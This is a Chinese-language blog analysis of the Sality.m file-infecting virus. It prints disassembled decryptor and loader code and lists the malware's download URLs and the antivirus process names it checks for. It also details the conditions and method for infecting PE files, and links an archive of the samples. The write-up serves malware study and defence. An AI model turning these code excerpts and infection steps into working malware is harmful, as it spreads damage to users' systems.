Sality.m分析

Sality.m分析

0x1、样本概述

FILE_A MD5:1C9A0E01C6033801AFC5A12DE1CC5BDC

FILE_B MD5:4B6B70F4A199CF3EAC1554B08804BC4F

FILE_C MD5:91741578019D3613EEBD6C8F1862548E

样本FILE_A是捕获的病毒文件;FILE_B是一款网络连接状态查看工具Tcpview.exe;样本FILE_C是在虚拟机系统中运行文件FILE_A使其感染样本FILE_B所得。本报告全部结果都是通过分析样本FILE_C所得。

样本FILE_C[以下简称样本]运行后将释放动态库文件wcmlogon.dll到系统目录下;感染以下三个位置中所有的exe和scr扩展名的文件:注册表HKCU和HKLM下启动项文件、当前系统中所有磁盘文件以及共享目录中文件;读取配置文件中的数据,连接网络下载文件并执行。

样本所采用的主要技术有:浮点指令、多线程、HOOK

0x2、分析过程

被感染文件入口点代码被病毒修改,所以样本被加载到内存后直接执行病毒代码,入口点代码功能是解密后执行被感染文件尾部的加密病毒数据;被解密后的代码功能为释放文件中被压缩的动态库文件,并加载调用其唯一的导出函数。病毒动态库文件导出函数并没有实际功能,主要功能代码都在其入口函数当中,导出函数只是为初始化其入口函数的相关参数。动态库文件的入口函数主要功能有:感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断。

样本的执行流程图如下:

0x2.1、被感染文件入口

程序入口代码功能是完成对指定数据块的解密,然后跳转到解密数据块执行。

解密算法没有什么新意,但解密方式比较特别,是在对数据进行解密的过程中使用了八条浮点指令。完整的入口代码如下,同时下面的代码长度也是病毒修改的正常文件入口处代码的长度。

.text:00408367                 pusha
.text:00408368                 call    sub_4083BC
//计算入口代码相对00401000的重定位偏移offset
//设定解密长度len
.text:0040836D                 nop
.text:0040836E                 lea     edi, [ebp+401000h] 
//计算入口点地址ep_offset
//ep_offset = 00401000 + offset
.text:00408374                 push    13C99h
.text:00408379                 add     edi, [esp]
.text:0040837C                 mov     esi, edi
//计算解密地址
//de_off = ep_offset + 13C99
.text:0040837E                 push    40102Fh
.text:00408383                 push    ebp
//压入两个参数,用于计算循环起始地址
//0040102f和offset
.text:00408384                 finit
.text:00408387                 fild    dword ptr [esp]
.text:0040838A                 fild    dword ptr [esp+4]
.text:0040838E                 faddp   st(1), st
.text:00408390                 fistp   dword ptr [esp]
.text:00408393                 mov     ebx, [esp] 
//计算循环起始地址为004083CB调用
//loop_off = 0040102F + offset
.text:00408396                 lodsw
//读出密文数据
.text:00408398                 push    ecx
.text:00408399                 fild    dword ptr [esp]
.text:0040839C                 fimul   dword ptr [ebp+401066h] 
//[ebp+401066] = [004083CD] = 000022DA = temp_key
.text:004083A2                 fistp   dword ptr [esp]
.text:004083A5                 shl     ecx, 1
.text:004083A7                 sub     [esp], ecx
//计算解密密钥
//key = len * temp_key - len*2
.text:004083AA                 xor     eax, [esp] 
//解密密文
//data = data ^ key
.text:004083AD                 shr     ecx, 1
//恢复ecx设定
.text:004083AF                 stosw
//保存解密后数据
.text:004083B1                 pop     eax
//恢复栈平衡
.text:004083B2                 loop    loc_4083CB
//解密长度减1,开始循环解密,直到解密长度为0
//len = len - 1
.text:004083B4                 mov     cx, 4FFCh
.text:004083B8                 sub     edi, ecx
.text:004083BA                 jmp     edi
//解密结束,跳转到de_off - 4 开始执行。

.text:004083BC                 mov     ebp, [esp]
.text:004083BF                 sub     ebp, 401006h
.text:004083C5                 mov     ecx, 2800h
.text:004083CA                 retn
//计算代码重定位偏移
//设定解密长度

.text:004083CB                 jmp     ebx
//跳转开始循环
//jump loop_off

.text:004083CD                 dd 22DAh
//temp_key

0x2.2、解密后代码

解密后代码的主要功能有4个:恢复被修改的入口点代码,修改返回原始入口点的代码;动态获取相关api地址;释放被感染文件中保存的压缩格式的病毒动态库文件,加载文件并调用其唯一的导出函数;返回已经恢原始文件代码的入口点开始执行。

.wrdata:0041C004                 pop     eax
.wrdata:0041C005                 pop     eax
.wrdata:0041C006                 mov     ecx, 6Ah
.wrdata:0041C00B                 mov     eax, offset sub_401000
.wrdata:0041C010                 add     eax, ebp
.wrdata:0041C012                 pop     ebx
.wrdata:0041C013                 add     ebp, ebx
.wrdata:0041C015                 mov     [ebp+401243h], eax
//修改地址0041C243下的数据,将跳转地址修改为文件原始入口点地址
//使被感染文件能够正常执行。
.wrdata:0041C01B                 lea     esi, unk_4014E2[ebp]
.wrdata:0041C021                 mov     edi, eax
.wrdata:0041C023                 rep movsb
//以上代码是从解密后的代码起始到功能1部分
//恢复修改的入口点代码,修改返回原始入口点的代码
===========================================================
.wrdata:0041C025                 xor     ebx, ebx
.wrdata:0041C027                 mov     ebx, fs:30h
.wrdata:0041C02D                 test    ebx, ebx
.wrdata:0041C02F                 js      short loc_41C03F
……………………
.wrdata:0041C03F                 mov     ebx, [ebx+34h]
.wrdata:0041C042                 lea     ebx, [ebx+7Ch]
.wrdata:0041C045                 mov     ebx, [ebx+3Ch]
//通过fs寄存器获取kernel32.dll的image_base地址
……………………
.wrdata:0041C062                 mov     ss:dword_40140B[ebp], ebx
.wrdata:0041C068                 lea     eax, string_loadlibrary[ebp]
.wrdata:0041C06E                 push    eax
.wrdata:0041C06F                 push    ss:dword_40140B[ebp]
.wrdata:0041C075                 call    fun_str_fun_addr
.wrdata:0041C07A                 call    fun_check_eax
.wrdata:0041C07F                 mov     dword ptr ss:addr_loadlibrary[ebp], eax
.wrdata:0041C085                 lea     eax, string_GetProcAddress[ebp]
.wrdata:0041C08B                 push    eax
.wrdata:0041C08C                 push    ss:dword_40140B[ebp]
.wrdata:0041C092                 call    fun_str_fun_addr
.wrdata:0041C097                 call    fun_check_eax
.wrdata:0041C09C                 mov     ss:addr_GetProcAddress[ebp], eax
.wrdata:0041C0A2                 lea     eax, string_kernel32[ebp]
.wrdata:0041C0A8                 push    eax
.wrdata:0041C0A9                 call    dword ptr ss:addr_loadlibrary[ebp]
.wrdata:0041C0AF                 call    fun_check_eax
.wrdata:0041C0B4                 mov     ss:dword_40140B[ebp], eax
.wrdata:0041C0BA                 lea     edi, string_funnamelist[ebp]
.wrdata:0041C0C0                 mov     edx, ss:dword_40140B[ebp]
.wrdata:0041C0C6                 call    fun_loop_getfunaddr
.wrdata:0041C0CB                 push    2
.wrdata:0041C0CD                 call    dword ptr [ebp+401486h] 
//此处调用的函数为: kernel32.SetErrorMode
.wrdata:0041C0D3                 lea     eax, (loc_401588+2)[ebp]
//此处是获取动态库文件名字符串“LZ32”
.wrdata:0041C0D9                 push    eax
.wrdata:0041C0DA                 call    dword ptr ss:addr_loadlibrary[ebp]
.wrdata:0041C0E0                 call    fun_check_eax
.wrdata:0041C0E5                 mov     ss:dword_40140B[ebp], eax
.wrdata:0041C0EB                 lea     edi, (loc_40149A+1)[ebp]
//此处是获取要动态获取的函数名列表
.wrdata:0041C0F1                 mov     edx, ss:dword_40140B[ebp]
.wrdata:0041C0F7                 call    fun_loop_getfunaddr
//省略了部分非关键代码,以上代码功能2部分
//通过fs寄存器获取kernel基址,遍历其导出表,获取Loadlibrary函数和GetProcadress函数,然后动态加载kernel32和LZ32并获取病毒代码要使用的函数。
===========================================================
.wrdata:0041C0FC                 lea     edi, unk_4014E2[ebp]
.wrdata:0041C102                 push    80h
.wrdata:0041C107                 push    edi
.wrdata:0041C108                 call    dword ptr [ebp+401475h]
// addr_GetSystemDirectoryA
.wrdata:0041C10E                 cmp     byte ptr [ebp+eax+4014E1h], 5Ch
.wrdata:0041C116                 jnz     short loc_41C119
.wrdata:0041C118                 dec     eax
……………………
.wrdata:0041C137                 push    eax
.wrdata:0041C138                 push    2
.wrdata:0041C13A                 push    2
.wrdata:0041C13C                 push    eax
.wrdata:0041C13D                 inc     eax
.wrdata:0041C13E                 push    eax
.wrdata:0041C13F                 push    40000000h
.wrdata:0041C144                 push    edi
.wrdata:0041C145                 call    dword ptr [ebp+40143Fh] 
//ss:[0041C43F]=7C801A24 (kernel32.CreateFileA)
.wrdata:0041C14B                 mov     [ebp+40137Bh], eax
.wrdata:0041C151                 inc     eax
.wrdata:0041C152                 jz      short loc_41C16E
.wrdata:0041C154                 lea     edi, (loc_401991+3)[ebp]
.wrdata:0041C15A                 push    ecx
.wrdata:0041C15B                 push    esp
.wrdata:0041C15C                 push    466Ch
.wrdata:0041C161                 push    edi
.wrdata:0041C162                 push    dword ptr [ebp+40137Bh]
.wrdata:0041C168                 call    dword ptr [ebp+40145Dh] 
// ss:[0041C45D]=7C810F9F (kernel32.WriteFile)
……………………
.wrdata:0041C1FE                 lea     eax, unk_4014E2[ebp] 
//string:C:\WINDOWS\system32\wcmlogon.dll
.wrdata:0041C204                 push    eax
.wrdata:0041C205                 call    dword ptr ss:addr_loadlibrary[ebp]
.wrdata:0041C20B                 call    fun_check_eax
.wrdata:0041C210                 mov     ss:dword_40140B[ebp], eax
.wrdata:0041C216                 lea     eax, unk_4014C3[ebp] 
// string:_RtlMoveExecute
.wrdata:0041C21C                 push    eax
.wrdata:0041C21D                 push    ss:dword_40140B[ebp]
.wrdata:0041C223                 call    fun_str_fun_addr
.wrdata:0041C228                 call    fun_check_eax
.wrdata:0041C22D                 mov     [ebp+4014A2h], eax
.wrdata:0041C233                 lea     edi, sub_401000[ebp]
.wrdata:0041C239                 push    edi
.wrdata:0041C23A                 call    dword ptr [ebp+4014A2h] 
//省略了部分非关键代码,以上代码功能3部分
//释放病毒体动态库文件,获取其唯一导出函数并调用执行。
===========================================================
.wrdata:0041C240                 pop     eax
.wrdata:0041C241                 popa
.wrdata:0041C242                 mov     eax, offset loc_4011F0
//此处地址在恢复入口点代码之前会被修改为原始入口点地址
.wrdata:0041C247                 jmp     eax
//以上代码是从解密后的代码起始到功能4部分
//恢复文件入口点的上下文环境,返回已经恢原始文件代码的入口点开始执行

0x3、病毒动态库文件

动态库文件只有一个导出函数,函数名为:_RtlMoveExecute,功能为拷贝数据到共享内存块,共享内存块将做为动态库入口代码的相关参数使用。动态库文件的主要功能都是在其入口函数中实现的,包括感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断等。

0x3.1、导出函数_RtlMoveExecute

导出函数有一个参数,是本地数据的地址。函数功能将本地数据拷贝到入口函数申请的内存空间中,供入口点函数调用修改使用。

所调用函数共有2个参数,第一个参数是本地数据地址,第二个参数是数据拷贝方向,0和1表示从内存拷贝至本地;2表示从本地拷贝至内存。其中还有2个隐含参数,一个是拷贝数据的长度:0x5000;另一个是内存空间的地址。

.text:10001EC0                 push    ebp
.text:10001EC1                 mov     ebp, esp
.text:10001EC3                 cmp     dword ptr [ebp+8], 0
.text:10001EC7                 jz      short loc_10001ED7
.text:10001EC9                 push    2
//压入参数,表示是将本地数据拷贝到共享内存空间中
.text:10001ECB                 mov     eax, [ebp+8]
.text:10001ECE                 push    eax
//内存空间句柄
.text:10001ECF                 call    sub_10001DE0
//调用数据拷贝函数
.text:10001ED4                 add     esp, 8
.text:10001ED7                 pop     ebp
.text:10001ED8                 retn

0x3.2、入口函数

入口点函数主要功能有:申请内存空间,挂钩windows消息,创建3个功能线程。

申请内存空间是为了在几个线程之间进行通信,对申请的内存空间的数据修改和初始化都是通过函数sub_10001DE0实现的,已经在动态库的导出函数中作了介绍。

挂钩windows消息,其挂钩的消息类型为:WH_GETMESSAGE,用以截获从消息队列送出的消息,回调函数和动态库入口函数相同。

创建的线程分别为:感染线程、下载线程和进程管理线程

0x4、线程说明

由于各个线程代码较长,不再报告中粘贴,只做功能介绍,具体内容请参照附件中的idb文件。

0x4.1、进程管理线程:

函数地址:sub_10001350

功能:遍历进程,如果进程路径包含指定字符串,将退出病毒进程。具体字符串列表如下:

NAV、AVP、KAV、DRWEB、OUTPOST、ZONEALARM、NOD32、ANTI、NMAIN、MCUPDATE、MGUI、NPROTECT、NUPGRADE、RTVSCAN、SAVSCAN、AUTOTRACE、AVSYNMGR、ATGUARD、AVGSERV、AVPROTECT、BIDEF、BIDSERVER、BIPCP、BLACKICE、CLEANER、DRWATSON、DRWTSN32、LOCKDOWN、MCAGENT、NPFMESSENGER、PERISCOPE、PINGSCAN、PORTDETECTIVE、PROTECTX、TRJSCAN、VSMAIN、AVLTMAIN、ESCANH、ICSSUPPNT、ICSUPP、AVXQUAR

0x4.2、下载线程:

函数地址:sub_ 100037D0

功能:读取配置文件中的相关参数,下载样本到本地并执行。相关url地址如下,但地址并不完整,还会继续和随即字符串拼接,同时url中的“#”也会被替换。

http://www.bpfq02.com/mrow6/?id

http://#.egozda.com/?idf

http://#.kerrabez.com/?id

333.com/mrow7/?id

0x4.3、感染线程:

函数地址:sub_ 10003D00

功能:感染注册表启动项列表中映像路径为exe的映像文件;所有驱动器中的*.scr和*.exe文件;所有网络共享目录中的*.scr和*.exe文件。

感染条件:

1) 文件大小必须在0x1000~0x1400000之间的范围

2) dos头重的重定位地址必须为0x40

3) 文件pe格式合法,且文件为32为pe文件格式

4) 最后一个数据节内不存在调试信息

5) 倒数第二个数据节的文件大小和内存大小都为0,或都不为0

6) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度

感染方式:

1) 如果最后一个节名称是UPX、TEXT、CODE三个中的任意一个将增加最后一个数据节的节大小。

2) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度,则增加一个数据节。节名称为节名称为文件名尾字母+第二个节名称构成,字母全小写

3) 修改入口处代码长度为0x6a的数据

4) 生成随即key,加密原始入口点代码和病毒功能代码。将其写入到最后一个数据节中扩充的节空间或新增的尾节中。

0x5、附件说明

    附件中文件介绍如下:

1c9a0e01c6033801afc5a12de1cc5bdc

得到的被感染文件样本

Tcpview.exe1

Tcpview.idb

被上面的样本感染的病毒文件和对应的idb文件

ana.txt

Tcpview.exe1被感染后入口代码的解密函数分析

Tcpview_decode.exe1

Tcpview_decode.idb

Tcpview.exe1文件经过解密后,跳转到解密代码后dump的结果,以及ida分析的相关idb文件

wcmlogon.dll

wcmlogon.idb

解密后代码将释放一个动态库文件,然后调用其唯一的导出函数开始执行.

name_list.txt

动态库文件运行后将检测的文件名是否包含执行字符串列表

system.ini

动态库文件运行时,将向系统配置文件中写入数据,写入数据为文件的最后一行

 

 

附件下载地址:https://files.cnblogs.com/files/Mikhail/sality_m.zip

posted @ 2016-03-20 13:20  米哈伊尔  阅读(1120)  评论(0编辑  收藏  举报